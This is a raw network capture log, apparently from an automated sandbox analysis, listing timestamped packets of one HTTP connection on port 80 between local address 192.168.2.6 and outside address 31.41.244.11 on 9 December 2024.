Dec 9, 2024 21:09:11.031982899 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.032031059 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.032073975 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.032114983 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.033128023 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.033173084 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.033206940 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.033251047 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.034254074 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.034297943 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.034317017 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.034353018 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.035232067 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.035274982 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.035295963 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.035330057 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.036356926 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.036402941 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.036767960 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.036820889 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.037400007 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.037444115 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.037508965 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.037549973 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.038490057 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.038532019 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.038582087 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.038624048 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.039614916 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.039655924 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.039700031 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.039745092 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.040757895 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.040811062 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.041131020 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.041192055 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.041759014 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.041801929 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.041965008 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.042006969 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.042857885 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.042901039 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.043009043 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.043050051 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.043950081 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.043997049 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.044122934 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.044166088 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.045000076 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.045042992 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.045059919 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.045101881 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.046082020 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.046125889 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.046410084 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.046452999 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.047250032 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.047291994 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.047370911 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.047414064 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.048471928 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.048513889 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.048536062 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.048572063 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.049413919 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.049458981 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.049555063 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.049597025 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.050453901 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.050496101 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.050515890 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.050559998 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.051491022 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.051532030 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.051547050 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.051585913 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.052647114 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.052690983 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.052741051 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.052783012 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.053679943 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.053719997 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.053761005 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.053801060 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.054795980 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.054837942 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.054965019 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.055006981 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.055882931 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.055921078 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.056044102 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.056086063 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.057564974 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.057609081 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.057630062 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.057667971 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.058079958 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.058125019 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.058185101 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.058224916 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.059181929 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.059222937 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.059248924 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.059293032 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.060221910 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.060259104 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.060328960 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.060372114 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.061289072 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.061330080 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.061430931 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.061474085 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.062381983 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.062423944 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.062537909 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.062578917 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.063469887 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.063512087 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.063576937 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.063616991 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.064524889 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.064563990 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.064651966 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.064693928 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.065643072 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.065680027 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.065787077 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.065829992 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.066694021 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.066735029 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.066817045 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.066858053 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.067826033 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.067867994 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.067889929 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.067926884 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.068892002 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.068929911 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.069000006 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.069041014 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.070025921 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.070067883 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.070089102 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.070127964 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.071104050 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.071146011 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.071218967 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.071255922 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.072206974 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.072268009 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.072346926 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.072387934 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.073220015 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.073261023 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.073307037 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.073348045 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.074431896 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.074474096 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.074632883 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.074676037 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.075421095 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.075460911 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.075545073 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.075584888 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.076493979 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.076538086 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.076586008 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.076623917 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.077569962 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.077614069 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.212999105 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.213061094 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.213181019 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.213222980 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.213453054 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.213494062 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.213624001 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.213668108 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.213829041 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.213870049 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.214755058 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.214796066 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.214920998 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.214962959 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.215830088 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.215869904 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.215893030 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.215931892 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.216907024 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.216944933 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.217011929 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.217052937 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.217987061 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.218024015 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.218048096 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.218086958 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.219116926 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.219156981 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.219182014 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.219221115 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.220231056 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.220274925 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.220298052 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.220330000 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.221374035 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.221420050 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.221513033 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.221563101 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.222305059 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.222346067 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.222387075 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.222425938 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.223412991 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.223450899 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.223532915 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.223565102 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.224487066 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.224525928 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.224613905 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.224647999 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.225560904 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.225599051 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.225668907 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.225706100 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.226644039 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.226686001 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.226802111 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.226870060 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.227778912 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.227824926 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.227866888 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.227900982 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.229394913 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.229408979 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.229444027 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.229460955 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.230017900 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.230061054 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.230130911 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.230173111 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.230992079 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.231059074 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.231141090 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.231182098 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.232256889 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.232301950 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.232381105 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.232419968 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.233558893 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.233609915 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.233676910 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.233716011 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.234291077 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.234343052 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.234407902 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.234450102 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.235377073 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.235418081 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.235496044 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.235536098 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.236407995 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.236454964 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.236529112 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.236571074 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.237546921 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.237587929 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.237668037 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.237711906 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.238593102 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.238640070 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.238787889 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.238827944 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.239692926 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.239738941 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.239762068 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.239805937 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.240756989 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.240803003 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.240904093 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.240947962 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.241842031 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.241894960 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.241928101 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.241971016 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.242957115 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.243002892 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.243022919 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.243065119 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.244028091 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.244071007 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.244165897 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.244199038 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.245114088 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.245193005 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.245218039 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.245255947 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.246223927 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.246273994 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.246340036 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.246382952 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.247307062 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.247345924 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.247354984 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.247380972 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.248368979 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.248420954 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.248531103 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.248573065 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.249434948 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.249483109 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.249536037 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.249574900 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.250531912 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.250577927 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.250600100 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.250638008 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.251650095 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.251713037 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.251738071 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.251779079 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.252686024 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.252728939 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.252859116 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.252932072 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.253776073 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.253819942 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.253977060 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.254020929 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.254868984 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.254918098 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.255053997 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.255098104 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.255951881 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.256001949 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.256059885 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.256112099 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.257034063 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.257083893 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.257179022 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.257216930 CET	49859	80	192.168.2.6	31.41.244.11
